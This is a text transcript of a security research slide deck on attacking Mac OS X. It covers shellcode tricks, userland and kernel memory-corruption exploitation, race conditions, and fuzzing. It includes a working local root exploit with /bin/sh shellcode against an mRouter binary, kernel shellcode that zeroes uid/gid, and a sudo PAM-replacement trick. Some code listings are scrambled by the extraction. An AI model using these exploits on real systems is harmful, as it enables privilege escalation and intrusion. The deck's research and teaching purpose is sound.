Breaking Mac OS X

Download Report

Transcript Breaking Mac OS X

Breaking Mac OS X
By Neil Archibald
and Ilja van Sprundel
Introduction
• Who am I? Neil Archibald, Senior
• Ilja van Sprundel
Security Researcher @ Suresec Ltd
• Interested in Mac OSX sys-internals • Works for Suresec
and research for roughly two years.
• Working with unix for a few
years.
• Breaks stuff for fun and profit :)
• Intrigued by operating system
internals.
What is Mac OS X?
• A modern Operating system
• A graphical user interface
• Lots of userland applications
• Runs on ppc architecture. (will run on intel).
• Mac OS X has grown significantly in market share.
OSXserver:/tmp ilja$ uname -a
Darwin OSXserver 7.0.0 Darwin Kernel Version 7.0.0: Wed
Sep 24 15:48:39 PDT 2003; root:xnu/xnu517.obj~1/RELEASE_PPC Power Macintosh powerpc
Tools
•
•
•
•
•
gdb – Gnu Debugger,
otool – objdump and ldd replacement.
class-dump – Dump objective c class
info
IDA Pro – the best disassembler around
HTE – useful for manipulating object
files.
Shellcode Tips
Some of the hurdles which a shellcoder
must typically overcome are:
• Code must be position independent.
• Typically filters exist on the bytes which
are allowed to be used in the shellcode.
(usually a NULL byte is disallowed)
• In threaded applications code must
fork() to remain stable.
PPC Assembly
• 32 bit instructions. Makes it easy to count
offsets for relative jumps. Makes for large
shellcode.
• Endian: little or big endian, typically big.
• System calls return to the instruction
directly below the “sc” instruction on
failure, or one instruction past that for
success.
• PPCExplain++
Shellcode Tips – P.I.C
• x86 “jmp call pop” replacements.
Example 1:
bcl 20,31,i_want_this
i_want_this:
mflr
r3
Example 2:
_main:
xor.
bnel
mflr
r5,r5,r5
_main
r30
Shellcode Tips – NULL bytes.
• “sc” instruction = 0x44000002
• Reserved bits shown.
• It can be replaced with: 0x44ffff02
Shellcode Tips – NULL bytes
• “nop” instruction is recommended as:
ori
0,0,0 = 0x60000000
• Can be replaced with:
ori
r0,r3,24672 = 0x60606060
Shellcode Tips – NULL bytes
• “li” instruction is really “addi” with 0 as rA.
• If the number required in a register is too small
a null byte will occur.
• We can add a number to our value to make it
large enough to avoid null bytes.
• We then subtract the same value to leave our
required number.
Shellcode Tips - alignment
• Since each instruction is 4 bytes,
shellcode must be correctly word aligned
in memory.
Intel (x86) Architecture
• Hopefully you are
familiar with x86
architecture!
• Shellcode is pretty
much the same as
FreeBSD. In fact, most
FreeBSD shellcode will
work pretty much the
same on osx86 as
FreeBSD without
modification.
Mac OSX Intel - Syscall calling convention
• The “int $0x80” instruction can be used to enter
kernel mode to execute a syscall. Also the “lcall”
instruction can be used.
• gcc generally uses lcall.
• Syscall number in eax. Arguments are passed on
the stack in reverse order.
• An extra dummy byte must be pushed to the stack.
This is because typically a code stub is used such
as: call kernel:
int $0x80
ret
Shellcode Tips – fork()
• HD Moore release a paper
on Mac OS X shellcode.
• The execve() function
returns EOPNOTSUPP if a
process has more than one
active thread.
• To counter this reliable
shellcode on Mac OS X must
fork() before calling
execve().
Architecture Spanning Shellcode.
• Shellcode which will run on more than one
architecture.
• Applies to Mac OS X, now that the move to
Intel is in process.
• Phrack article on this subject:
http://www.phrack.org/phrack/57/p57-0x0e
Architecture Spanning Shellcode – NOP Sled
• CLD Instruction (Clear Direction Flag). Only
modifies the direction flag, no memory access. Has
the op code 0xfc on x86 architecture.
• The fnmsub instruction (floating negative multiplysubtract) on ppc architecture does the following:
•
frD,frA,frC,frB = -((frA*frC)-frB) -> frD
• Therefore also performs no memory access or
changes to significant registers. It has the opcode
fnmsub
f7,f28,f19,f31 == 0xfcfcfcfc
• This means 0xfcfcfcfc will work as a multi-arch
NOP instruction between ppc and x86.
Architecture Spanning Shellcode – PPC / x86
• Trick: find an instruction on ppc which will do
nothing, but end in a jump instruction on x86.
• Magic Instruction: 0x5f90eb48
• X86:
5f == pop %edi
90 == nop
eb 48 == jmp $0x48 (bytes)
• PPC:
5f 90 eb 48 == rlwnm r16,r28,r29,13,4
Architecture Spanning Shellcode.
• When execution hits
this instruction on an
x86 processor, it will
jump 0x48 bytes
forward over the ppc
shellcode.
• If a ppc processor
interprets this
instruction is will run
directly into the ppc
code.
5f 90 eb 48
PPC SHELLCODE
X86 SHELLCODE
0x48
Bytes
Architecture Spanning Exploitation
• Gaining control of execution in a platform inspecific
way.
• The initial heap zone struct (szone_t) is located at
the same address on both x86 and ppc platforms.
(gdb) x/x &initial_malloc_zones 0xa0010414
<initial_malloc_zones>: 0x01800000
• This struct, mentioned earlier, contains function
pointers used by the heap. (malloc/free/etc/)
• If we can control a write on both platforms we can
use this address to gain control of execution and
land in our multi-arch nop sled.
Mach-o format
• - Overview
• - Header files to read.
/usr/include/mach-o/*
• - Manipulating with HTE
• Slides available from
SySCAN’05 in
references.
Auditing Mac OS X
• Open Source Darwin Components
• Closed source applications (Most of the
GUI).
Code Auditing
• Open source code for the Darwin
component is available from:
http://developer.apple.com/darwin/
• grep’ing for “APPLE” or “XXX” can be
useful to find the changes Apple have
made.
Reverse Engineering
• IDA – Advanced for PPC/mach-o
• class-dump for Objective-C binaries. (OBJ
segment).
• Phrack (61) paper on
reverse engineering
on Mac OSX using
gnu debugger (gdb).
Debugging Tricks!
• - Hidden Functions – (GDBComponentList
|| CFShow).
http://developer.apple.com/technotes/tn2004/tn2124.html#LISTCALLFUNC
• MacsBug
• Environment variables
(MallocStackLogging. Etc)
• Antidebug - beating ptrace() protection.
Shared Library Redirection
• DYLD_FRAMEWORK_PATH – Colon separated
list of directories that contain frameworks.
• DYLD_LIBRARY_PATH – Colon deliminated list
of directories containing shared libraries.
• DYLD_INSERT_LIBRARY – Insert a single .so
into the process space. (Requires
DYLD_FORCE_FLAT_NAMESPACE)
Buffer Overflow (stack)
• Hopefully everyone is familiar with the concept
of a stack based buffer overflow on x86
architecture.
BUFFER
EBP
EIP
OVERFLOW
• LR (Link Register) – Used for storage of return
address.
• “blr” instruction (branch to link register) is the
equivalent to the x86 “ret” instruction.
Buffer Overflow (Stack Layout)
• Stack grows down
towards lower memory
addresses.
• When two function calls
deep, LR must be
stored somewhere
(stack).
• Possible to overwrite
stored LR to gain
control.
Buffer Overflow (return address calculation)
A similar technique to that shown in phrack
(Smashing the stack for fun and profit):
int sp (void) {
__asm__("mr r0, r1");
}
Also the address can be calculated exactly
when stored in an environment variable:
unsigned int ret = 0xbffffffa - strlen(shellcode);
char *args[] = { VULNPROG, "-v", "-a", filler, NULL };
char *env[] = {"TERM=xterm", shellcode, NULL };
Buffer Overflow (fm-iSink.c)
#define VULNPROG
"/System/Library/SyncServices/SymbianConduit.bundle/Contents/Resources/mRouter"
#define MAXBUFSIZE 4096
char shellcode[] = // Shellcode by b-r00t, modified by nemo.
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x39\x40\x01\xc3\x38\x0a\xfe\xf4"
"\x44\xff\xff\x02\x39\x40\x01\x23\x38\x0a\xfe\xf4\x44\xff\xff\x02"
"\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\xa6\x38\x63\x01\x60"
"\x38\x63\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8"
"\x3b\xc0\x01\x47\x38\x1e\xfe\xf4\x44\xff\xff\x02\x7c\xa3\x2b\x78"
"\x3b\xc0\x01\x0d\x38\x1e\xfe\xf4\x44\xff\xff\x02\x2f\x62\x69\x6e"
"\x2f\x73\x68";
char filler[MAXBUFSIZE];
int main(int ac, char **av)
{
unsigned int ret = 0xbffffffa - strlen(shellcode);
char *args[] = { VULNPROG, "-v", "-a", filler, NULL };
char *env[] = { "TERM=xterm", shellcode, NULL };
memset(filler,(char)'A',sizeof(filler));
memcpy(filler+MAXBUFSIZE-5,&ret,4);
execve(*args, args,env);
return 0;
}
Format string bugs – (intro)
• Introduction (misuse of a function with
variable arguments).
printf(buffer);
• Mac OS X is big endian. Writes are made
in the opposite direction to x86.
• Exploiting a format string typically gives
you a write anything anywhere primitive.
Format string bugs – (__cleanup)
/*
* Exit, flushing stdio buffers if necessary.
*/
void
exit(status)
int status;
{
struct atexit *p;
int n;
/* Ensure that the auto-initialization routine is linked in: */
extern int _thread_autoinit_dummy_decl;
_thread_autoinit_dummy_decl = 1;
for (p = __atexit; p; p = p->next)
for (n = p->ind; --n >= 0;)
(*p->fns[n])();
if (__cleanup)
(*__cleanup)();
_exit(status);
}
Format string bugs – (PIC stub)
• PIC stubs generated:
(gdb) x/8i 0x2d40
0x2d40 <dyld_stub_exit>:
0x2d44 <dyld_stub_exit+4>:
0x2d48 <dyld_stub_exit+8>:
0x2d4c <dyld_stub_exit+12>:
0x2d50 <dyld_stub_exit+16>:
0x2d54 <dyld_stub_exit+20>:
0x2d58 <dyld_stub_exit+24>:
0x2d5c <dyld_stub_exit+28>:
mflr
bclmflr
addis
mtlr
lwzu
mtctr
bctr
r0
20,4*cr7+so,0x2d48 <dyld_stub_exit+8>
r11
r11,r11,0
r0
r12,840(r11)
r12
• Table of function pointers filled in by the dyld.
• We can overwrite these function pointers to gain control
of execution,
• Note: Address of these function pointers contain null
bytes, which makes writing to them more difficult.
Heap Overflow - malloc() Overview
• Made up of multiple zones. Most software
only uses the default zone.
• Different sized allocations come from
different “regions” or “bins”.
• Zone meta-data stored just after the large
memory block bin.
• When large memory is allocated
vm_allocate() is used. This eventually
reaches the zone meta-data.
Heap Overflow – szone_t
typedef struct _malloc_zone_t {
/* Only zone implementors should depend on the layout of this
structure; Regular callers should use the access functions below */
void
*reserved1;
/* RESERVED FOR CFAllocator DO NOT USE */
void
*reserved2;
/* RESERVED FOR CFAllocator DO NOT USE */
size_t
(*size)(struct _malloc_zone_t *zone, const void *ptr);
void
*(*malloc)(struct _malloc_zone_t *zone, size_t size);
void
*(*calloc)(struct _malloc_zone_t *zone, size_t num_items,
size_t size);
void
*(*valloc)(struct _malloc_zone_t *zone, size_t size);
void
(*free)(struct _malloc_zone_t *zone, void *ptr);
void
*(*realloc)(struct _malloc_zone_t *zone, void *ptr,
size_t size);
void
(*destroy)(struct _malloc_zone_t *zone);
const char *zone_name;
/* Optional batch callbacks; these may be NULL */
unsigned
(*batch_malloc)(struct _malloc_zone_t *zone, size_t size,
void **results, unsigned num_requested);
void
(*batch_free)(struct _malloc_zone_t *zone,
void **to_be_freed, unsigned num_to_be_freed);
struct malloc_introspection_t
*introspect;
unsigned
version;
} malloc_zone_t;
Heap Overflow - continued
• The szone_t struct stored after the large
memory block bin contains function
pointers for each of the zone’s allocation
and deallocation functions.
• If we can overwrite this struct, the next call
to any of the heap functions will result in
control of execution.
Heap Overflow – Bugs
• The WebKit library used by Safari and Mail.app
is prone to bugs which can be exploited in this
manner.
• Because of the fact that web pages can be
provided by the attacker, calls to malloc() can be
orchestrated to cleave the way to the zone
struct.
• For full details on this technique read:
• http://www.phrack.org/phrack/63/p630x05_OSX_Heap_Exploitation_Technqiues.txt
Race Conditions
• File races are common on Mac OSX
• Exploited in the same way as other Unix
platforms.
• Apple implemented a “super” stat() function.
Without creating an equivalent to operate on an
open file handle.
DESCRIPTION
The getattrlist() function returns attributes (that is, metadata) of file
system objects. You can think of getattrlist() as a seriously enhanced
version of stat(2). The function returns attributes about the file system object specified by path in the buffer specified by attrBuf and
attrBufSize. The attrList parameter determines what attributes are
returned. The options parameter lets you control specific aspects of the
function's behaviour.
Exploiting Race Conditions
• Example launchd bug, any
file is chown()’ed to the user
id of the invoking user.
• To exploit this, we replaced
/etc/pam.d/sudo with our
own copy, requiring no
authentication. Then used
sudo to gain uid=0.
The 80’s Called, they want their bugs
back!!!!
• Low hanging fruit!
• dsidentity bug, getenv(“USER”);??
• malloc() bug, MALLOC_LOG_FILE
environment variable.
char *envStr = nil;
envStr = getenv("USER");
//check for member of admin
group
if ( (envStr != nil) &&
UserIsMemberOfGroup( inDSRef,
inDSNodeRef, envStr, "admin" ) )
{
return true;
}
dyld bug.
static const char* sFrameworkFallbackPaths[] = { "$HOME/Library/Frameworks",
"/Library/Frameworks"
, "/Network/Library/Frameworks", "/System/Library/Frameworks", NULL };
static const char* sLibraryFallbackPaths[] = { "$HOME/lib", "/usr/local/lib", "/usr/lib", NULL };
...
// default value for DYLD_FALLBACK_FRAMEWORK_PATH, if not set in environment
if ( sEnv.DYLD_FALLBACK_FRAMEWORK_PATH == NULL ) {
const char** paths = sFrameworkFallbackPaths;
if ( home != NULL ) {
if ( riskyUser() )
removePathWithPrefix(paths, "$HOME");
else
paths_expand_roots(paths, "$HOME", home);
}
sEnv.DYLD_FALLBACK_FRAMEWORK_PATH = paths;
}
// default value for DYLD_FALLBACK_LIBRARY_PATH, if not set in environment
if ( sEnv.DYLD_FALLBACK_LIBRARY_PATH == NULL ) {
const char** paths = sLibraryFallbackPaths;
if ( home != NULL ) {
if ( riskyUser() )
removePathWithPrefix(paths, "$HOME");
else
paths_expand_roots(paths, "$HOME", home);
}
sEnv.DYLD_FALLBACK_LIBRARY_PATH = paths;
}
Return to libSystem
• Most people run ‘softwareupdate` regularly,
therefore most people are running the exact
same binaries. This makes returning into the
binary itself reliable.
• Calling convention: Function arguments are
passed in the general purpose registers, starting
with r3.
• “otool –tv <filename>” can be used to dump an
assembly listing of a binary. To find instructions
which are needed.
Return to libSystem
• The “lmw” instruction is most useful, however it
is very rare to find this instruction in a binary,
starting loading from the r3, register.
• An example of some instructions which we could
[/usr/lib/libSystem.B.dylib]
use are: //
//9001b88c
lwz
r3,0x38(r1)
//9001b890
//9001b894
//9001b898
//9001b89c
//9001b8a0
addi
lwz
lmw
mtspr
blr
r1,r1,0x60
r0,0x8(r1)
r29,0xfff4(r1)
lr,r0
• getusershell() will store the shell of the current
user in ‘r3’.
What is Darwin?
• A part of Mac OS X
• An operating system on itself
• Unix based
• Userland applications and a
kernel
• Runs on ppc and i386
What is xnu?
• The unix kernel that darwin and Mac
OS X use
• A mix of 4.4(Free)BSD and 3.0 Mach
Why kernel vulnerabilities?
• They are fun to play with
• Hard to strip down a kernel, unlike
userland applications.
Information leaks
• A bug in the kernel allowing disclosure of
kernel data.
• Has the potential to contain sensitive
information.
• Usually easily triggered and exploited.
Example
• ifr.ifr_name
doesn’t get
initialized.
• strcpy() leaves
part of ifr_name
uninitialized.
• Data is
copyout()’d to
userspace.
static int ifconf(u_long cmd, user_addr_t ifrp, int * ret_space) {
struct ifaddr *ifa;
struct ifreq ifr;
...
space = *ret_space;
for (ifp = ifnet_head.tqh_first; space > sizeof(ifr) && ifp;
ifp = ifp->if_link.tqe_next) {
char workbuf[64];
size_t ifnlen, addrs;
ifnlen = snprintf(workbuf, sizeof(workbuf),
"%s%d", ifp->if_name, ifp->if_unit);
...
strcpy(ifr.ifr_name, workbuf);
...
ifa = ifp->if_addrhead.tqh_first;
for ( ; space > sizeof (ifr) && ifa;
ifa = ifa->ifa_link.tqe_next) {
struct sockaddr *sa = ifa->ifa_addr;
addrs++;
if (sa->sa_len <= sizeof(*sa)) {
ifr.ifr_addr = *sa;
error = copyout((caddr_t)&ifr, ifrp,
sizeof(ifr));
ifrp += sizeof(struct ifreq);
} else {
...
}
...
}
Kernel Buffer Overflows
• Known for a VERY long time!
• They do exist in the kernel as well.
• They are exploitable in a similar fashion to
userland.
Stack based buffer overflows in the darwin kernel.
• There are a few
• The same rules apply (mentioned earlier)
• A few differences when comparing to
exploiting them in userland.
• The goal is the same, get a shell with
elevated privileges.
Stack based buffer overflows in the
darwin kernel: kernel shellcode
• Unlike userland shellcode, we cannot just call
execve().
• We can change the user id and group id of a
process.
• Each process has it’s own process structure
somewhere in memory.
• Among other things it stored the userid and
groupid.
• All our shellcode has to do is find this struct and
modify the uid and gid.
Stack based buffer overflows in the
darwin kernel: kernel shellcode (2)
• Finding the process structure of a process
is easier than you would think.
• This can be done with the sysctl() call
before you exploit anything.
long get_addr(pid_t pid) {
int i, sz = sizeof(struct kinfo_proc),
mib[4];
struct kinfo_proc p;
mib[0] = 1;
mib[1] = 14;
mib[2] = 1;
mib[3] = pid;
i = sysctl(&mib, 4, &p, &sz, 0, 0);
if (i == -1) {
perror("sysctl()");
exit(0);
}
return(p.kp_eproc.e_paddr);
}
Stack based buffer overflows in the
darwin kernel: kernel shellcode (3)
• Address of the proc structure is known.
• Find the right fields and set them to 0.
struct
struct
pcred {
struct
lock__bsd__ pc_lock;
struct
ucred *pc_ucred;
proc {
uid_t
p_ruid;
LIST_ENTRY(proc) p_list;
uid_t
p_svuid;
/* substructures: */
gid_t
p_rgid;
struct
gid_t
p_svgid;
int
p_refcnt;
pcred *p_cred; ....
}
};
Stack based buffer overflows in the
darwin kernel: kernel shellcode (4)
• Basic darwin kernel shellcode:
Address obtained with sysctl
Int kshellcode[] =
0x3ca0aabb,
0x60a5ccdd,
0x80c5ffa8,
0x80e60048,
0x39000000,
0x9106004c,
0x91060050,
0x91060054,
0x91060058,
0x91070004
}
{
//
//
//
//
//
//
//
//
//
//
lis r5, 0xaabb
ori r5, r5, 0xccdd
lwz r6, -88(r5)
lwz r7, 72(r6)
li r8, 0
stw r8, 76(r6)
stw r8, 80(r6)
stw r8, 84(r6)
stw r8, 88(r6)
stw r8, 4(r7)
Stack based buffer overflows in the
darwin kernel: Returning
• In most userland applications there is
usually no need to return.
• When just doing absolutely nothing in
kernel space a panic will happen.
• There are two solutions:
– Calculate where to return and restore all that
we broke.
– Call IOSleep()and schedule in a loop.
• We chose the second one ;-)
Finding the shellcode
• Since we’re in the kernel we can’t screw
up!
• This makes vulnerabilities one-shot.
• We need to know the EXACT address of
our shellcode
• Use specific kernel functions to get
predictable addresses.
• Use information leaks!
Stack based buffer overflows in the
darwin kernel: The vulnerability.
• There is a length check done
on nsops.
• Nsops is signed however
there is no check to see if it’s
negative.
• Copyin() copies data from
userland to kernel space.
• First argument is a userland
address.
• Second argument is a kernel
address.
• Third argument is the size.
• The size used will be
interpreted as unsigned.
• When negative values are
cast to unsigned they are
HUGE!!!
• Hence a buffer overflow can
take place.
struct semop_args {
int
semid;
struct sembuf *sops;
int
nsops;
};
int
semop(p, uap, retval)
struct proc *p;
register struct semop_args *uap;
register_t *retval;
{
int semid = uap->semid;
int nsops = uap->nsops;
struct sembuf sops[MAX_SOPS];
...
if (nsops > MAX_SOPS) {
UNLOCK_AND_RETURN(E2BIG);
}
if ((eval = copyin(uap->sops, &sops,
nsops * sizeof(sops[0]))) != 0) {
UNLOCK_AND_RETURN(eval);
}
...
}
Stack based buffer overflows in the
darwin kernel: copyin problem
• Problem, we’re copying WAY too much and
stack space will run out eventually.
• Copyin() however does several tests on the
userland address.
• One of them is to stop copying the moment data
can no longer be read from it.
• This can be used to our advantage.
• We’ll copy the amount of data needed and then
have an unreadable page, right after it!
Kernel bugs allowing userland
compromise.
• Not all bugs in the kernel are exploited
only in the kernel.
• Some require userland interaction.
• Examples: a few ptrace() exploits. FD
0,1,2 closing bugs, …
Kernel bugs allowing userland
compromise. setrlimit()
extern int maxfiles;
extern int maxfilesperproc;
typedef int64_t rlim_t;
struct rlimit {
rlim_t rlim_cur;
rlim_t rlim_max;
};
/* current (soft) limit */
/* maximum value for rlim_cur */
Kernel bugs allowing userland
compromise. setrlimit() (2)
case RLIMIT_NOFILE:
/*
int dosetrlimit(p, which, limp)
* Only root can set the maxfiles limits, as it is
struct proc *p;
systemwide resource
u_int which;
*/
struct rlimit *limp;
if ( is_suser() ) {
{
if (limp->rlim_cur > maxfiles)
register struct rlimit *alimp;
limp->rlim_cur = maxfiles;
...
if (limp->rlim_max > maxfiles)
alimp = &p->p_rlimit[which];
limp->rlim_max = maxfiles;
if (limp->rlim_cur > alimp->rlim_max ||
}
limp->rlim_max > alimp->rlim_max)
else {
if (error = suser(p->p_ucred, &pif (limp->rlim_cur > maxfilesperproc)
>p_acflag))
limp->rlim_cur = maxfilesperproc;
return (error);
if (limp->rlim_max > maxfilesperproc)
...
limp->rlim_max = maxfilesperproc;
switch (which) {
}
...
break;
...
}
}
Kernel bugs allowing userland
compromise. setrlimit() (3)
•
•
•
•
All values used are signed
Negative rlimits can be used
Will pass all super user checks
When comparisons are done in other pieces of
code out there is always unsigned cast.
• We can open a lot more files then initially
intended (there is still a system limit that will be
enforced !)
• A denial of service using dup2() is possible
• Getdtablesize() will return a negative value.
Kernel bugs allowing userland
compromise. setrlimit() (4)
• Getdtablesize() returns the
maximum amount of file
descriptors that a process
can have open.
• A lot of programs use this in
a for() loop to close all open
file descriptors before
spawning another process.
• One of these is pppd which
is suid root and opens a lot
of interesting files.
• File descriptors and rlimits
get inherited through
execve().
int
getdtablesize(p, uap, retval)
struct proc *p;
void *uap;
register_t *retval;
{
*retval = min((int)p>p_rlimit[RLIMIT_NOFILE].rlim_cur,
maxfiles);
return (0);
}
PANIC!
• Calling the panic() function will halt the
system.
• Usually used when the system is in an
unrecoverable inconsistent state.
• If you can indirectly call this function from
userland it’s a security bug.
• Only resulting in a Denial of Service, but a
very effective DoS.
int fpathconf(p, uap, retval)
struct proc *p;
register struct fpathconf_args *uap;
register_t *retval;
{
int fd = uap->fd;
struct fileproc *fp;
struct vnode *vp;
struct vfs_context context;
int error = 0;
short type;
caddr_t data;
if ( (error = fp_lookup(p, fd, &fp, 0)) )
return(error);
type = fp->f_type;
data = fp->f_data;
switch (type) {
...
default:
panic("fpathconf (unrecognized - %d)", type);
}
/*NOTREACHED*/
...
}
What is fuzzing
• Using semi-valid data: good enough to
pass initial checks, bad enough so things
might go wrong.
• Can be used in a lot of things
• We’ll only discuss fuzzing related to the
xnu kernel.
• What can you fuzz:
– Syscall arguments
– Binary files the kernel has to process
Syscall argument fuzzing
• Generate a random syscall number
• OSX also has some negative syscall numbers.
• All syscalls have at most 8 arguments (special
case: one mach syscall has 9 arguments)
• Generate 8 “random” arguments
• “random”:
– Some random number
– A valid userland address
• Get some (random) data on it
– Address of an unmapped page
–…
More detailed argument fuzzing
• The previous method is trivial and not detailed at
all, bug can be implemented in a matter of
minutes.
• You can do more detailed syscall fuzzing
• Examples
– socket() fuzzing
• Once the socket is made then all sorts of socket operations
are made on it.
– Setsockopt
– Getsockopt
– Bind
Binary file fuzzing
• Unintelligent file fuzzing
– Take a valid file
– Randomly modify some bytes
– VERY EASY
SHOCKING RESULTS
• Intelligent fuzzing
– Can take a while to make something decent
– Need to know the specifics of the kind of file parsing that you’re
going to fuzz.
• What can you fuzz with it:
– Mach-o runtime
– .dmg image file loading
• You should check out Michael Sutton and Adam
Greene’s slides from blackhat.
MYTHBUSTERS
• OSX is super secure
because is has no “root”
user!
• To gain “root” on an OSX
machine the user needs to
enter his/her password!
• OSX has a magical
protective barrier which
makes it impossible to be
infected by a virus!
• No Mac OSX box has ever
been hacked!
References
•
•
•
•
http://en.wikipedia.org/wiki/PowerPC
http://felinemenace.org/~nemo/ppcasm/
http://uninformed.org/?v=1&a=1&t=pdf
http://developer.apple.com/darwin/
References
• http://felinemenace.org/~nemo/slides/
mach-o_infection.ppt
• http://www.phrack.org/phrack/63/p630x10_PowerPC_Cracking_on_OSX_
with_GDB.txt
•
http://developer.apple.com/technotes/tn2004/tn2124.html#LISTCALLFUNC
• http://www.phrack.org/phrack/63/p630x05_OSX_Heap_Exploitation_Technqiues.txt